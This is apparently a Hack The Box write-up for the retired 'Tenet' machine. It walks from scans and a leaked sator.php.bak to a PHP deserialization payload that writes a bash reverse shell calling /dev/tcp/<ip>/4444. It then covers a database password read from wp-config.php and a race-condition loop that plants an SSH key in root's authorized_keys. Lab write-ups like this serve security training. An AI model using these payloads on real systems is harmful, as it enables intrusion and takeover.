Tenet was a medium box running WordPress, for the few users it might be a hard box because the user shell was exploiting a PHP deserialization. The privilege escalation was not complicated as the user shell. Tenet means “a principle or belief, especially one of the main principles of a religion or philosophy.” The box had a historical connection that has been mentioned at the end of this writeup.

The initial phase of the Nmap scan gave two ports.

Nmap scan report for 10.10.10.223
Host is up (0.23s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

The first thing to do while doing a htb machine is to add the machine to the hosts file. But this was never a requirement for scriptkiddie that was retired last week. In the hackthebox platform adding IP to the hosts file is a tenet, a belief that it will give you more information. Accessing http://tenet.htb responded with a WordPress home page with three posts, but accessing http://10.10.10.223 responded with a default apache page after installation.

hackthebox tenet | htb tenet

The general approach is to run a wpscan, but the result was not interesting to proceed. There was a directory listing at http://tenet.htb/wp-content/uploads/, if you have experience in hosting WordPress you might have noticed directory listing is common in a WordPress installation and the server has to be configured with an Apache rule or Nginx rule to avoid the listing. There were no plugins installed but the WordPress installation was outdated. Even though it was an older version, WordPress 5.6 never had a potential vulnerability to grab the user shell.

_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.15
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://tenet.htb/ [10.10.10.223]
[+] Started: Sat Jun 12 10:26:59 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://tenet.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 <snip>

[+] WordPress readme found: http://tenet.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://tenet.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://tenet.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 <snip>

[+] WordPress version 5.6 identified (Insecure, released on 2020-12-08).
 | Found By: Rss Generator (Passive Detection)
 <snip>

[+] WordPress theme in use: twentytwentyone
 | Location: http://tenet.htb/wp-content/themes/twentytwentyone/
 | Last Updated: 2021-04-27T00:00:00.000Z
 | Readme: http://tenet.htb/wp-content/themes/twentytwentyone/readme.txt
 | [!] The version is out of date, the latest version is 1.3
 <snip>

WordPress login page was available at http://tenet.htb/wp-login.php. The default logins ‘admin:admin’ and ‘root:root’ were invalid. On the home page there were three posts, going through the posts the second one looked promising. The post itself was not the lead, but the comment by user Neil uncovered a new file sator.php.

did you remove the sator php file and the backup?? 
the migration program is incomplete! 
why would you do this?!

From the comment it was clear migration was not completed and there was an uncertainty regarding the file sator file. With a piece of new information in hand, I started searching for the file sator.php in every location that had a chance. But after poking around, and a new word a directory bruting was done at the endpoint http://tenet.htb/sator, and that was a dead-end too. Every enumeration technique that was known to date was done. After a while, I thought of looking the IP for the sator.php. And it went well, there was a sator.php located at http://10.10.10.223/sator.php. So the sator.php file was not located inside wordpress.

[+] Grabbing users from text file
[] Database updated

From the response, it was clear that the file was generating an output, and there was no code for this page. Going back to the comments in the WordPress post Neil had mentioned the sator php file and backup, so the file was sator.php.bak and accessing http://10.10.10.223/sator.php.bak it was downloaded.

<?php
class DatabaseExport
{
	public $user_file = 'users.txt';
	public $data = '';
	public function update_db()
	{
		echo '[+] Grabbing users from text file <br>';
		$this-> data = 'Success';
	}
	public function __destruct()
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	//	echo 'Gotta get this working properly...';
	}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>

Looking at the code, from the unserialize function I was sure it was deserialization exploit. The script was accepting a GET input variable arepo and unserializing it. If you are not familiar with insecure PHP deserialization medium post by Vickie Li is a good writeup.

Serialization is when an object in a programming language (say, a Java or PHP object) is converted into a format that can be stored or transferred. Whereas deserialization refers to the opposite: it’s when the serialized object is read from a file or the network and converted back into an object.
Insecure deserialization vulnerabilities happen when applications deserialize objects without proper sanitization. An attacker can then manipulate serialized objects to change the program’s flow.

The PHP script had a class called DatabaseExport with a __destruct function implemented. It is a magic PHP method, PHP magic methods are function names in PHP that have “magical” properties. Learn more about them here. The function was using file_put_contents to write the variable data to the file defined in the variable user_file. The users.txt file returned a successful response. To exploit the payload has to be serialized, and for that a PHP script was used.

class DatabaseExport {
  public $user_file = 'shell.php';
  public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/<ip>/4444 0>&1\'"); ?>';
  }
print urlencode(serialize(new DatabaseExport));

The final payload was http://sator.tenet.htb/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A7%3A%22rce.php%22%3Bs%3A4%3A%22data%22%3Bs%3A72%3A%22%3C%3Fphp+exec%28%22%2Fbin%2Fbash+-c+%27bash+-i+%3E+%2Fdev%2Ftcp%2F<ip>%2F4444+0%3E%261%27%22%29%3B+%3F%3E%22%3B%7D . A Netcat listener was fired nc -lvnp 4444, and after the payload was delivered the shell.php file that was created with the serialized payload was accessed and it gave the first shell. The shell had limited privileges as the user was www-data, grabbing the user privilege was simple. WordPress comes with a configuration file named wp-config.php, being a WordPress developer in the past I know where to look for the file. It was located at /var/www/html/wordpress/wp-config.php.

<snip>
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'neil' );
/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );
/** MySQL hostname */
<snip>

Since the SSH port was open and running for ease of movement Netcat shell was dropped and SSH was used. Logged in as user Neil and the machine was half done since Neil had the privilege to read user.txt.Whenever a password is known for a user, check the sudo privileges.

neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

Neil had the privilege to execute /usr/local/bin/enableSSH.sh as sudo user.The script was dealing with the SSH key for the root user.

#!/bin/bash
checkAdded() {
	sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
	if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
		/bin/echo "Successfully added $sshName to authorized_keys file!"
	else
		/bin/echo "Error in adding $sshName to authorized_keys file!"
	fi
}
checkFile() {
	if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
		/bin/echo "Error in creating key file!"
		if [[ -f $1 ]]; then /bin/rm $1; fi
		exit 1
	fi
}
addKey() {
	tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
	(umask 110; touch $tmpName)
	/bin/echo $key >>$tmpName
	checkFile $tmpName
	/bin/cat $tmpName >>/root/.ssh/authorized_keys
	/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/
Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQL
<snip>"
addKey
checkAdded

The addKey() function was writing an id_rsa.pub key defined in the variable key to a randomly generated file of format /tmp/ssh-XXXXXXXX.The content was then copied to /root/.ssh/authorized_keys.The randomly generated file maintained a naming pattern of ssh-*. In short, it was a race condition exploit when the $tmpname file is created & checked using checkFile.To exploit the attacking machine’s SSH key was copied using a while loop oneliner.

neil@tenet:~$ while true;do echo "ssh -rsa <snip>" | tee /tmp/ssh-*;done

While executing the above oneliner, another SSH login was done to execute the /usr/local/bin/enableSSH.sh script in the loop. Instead of running the sudo privilege script multiple times, enableSSH.sh was also executed in a while loop. I tried it without a while loop but that it was unsuccessful

neil@tenet:~$ cat script.sh
while true
do
sudo /usr/local/bin/enableSSH.sh
done

With two SSH sessions and two while loops, the keys were added. After a few iterations, I was able to log in to the machine as the root user. Tenet was rooted !!

Coming back to the machine Tenet and Sator, how both are connected stemmed to history. It comes from Sator Square, it is a two-dimensional word square containing a five-word Latin palindrome. The five words are Sator, Arepo, Opera, Tenet & Rotas. Tenet was the machine, Sator was the filename, Arepo was in the PHP script and Opera was in the user’s password. I couldn’t find Rotas but rotas is the palindrome of sator, that was a classic combo !!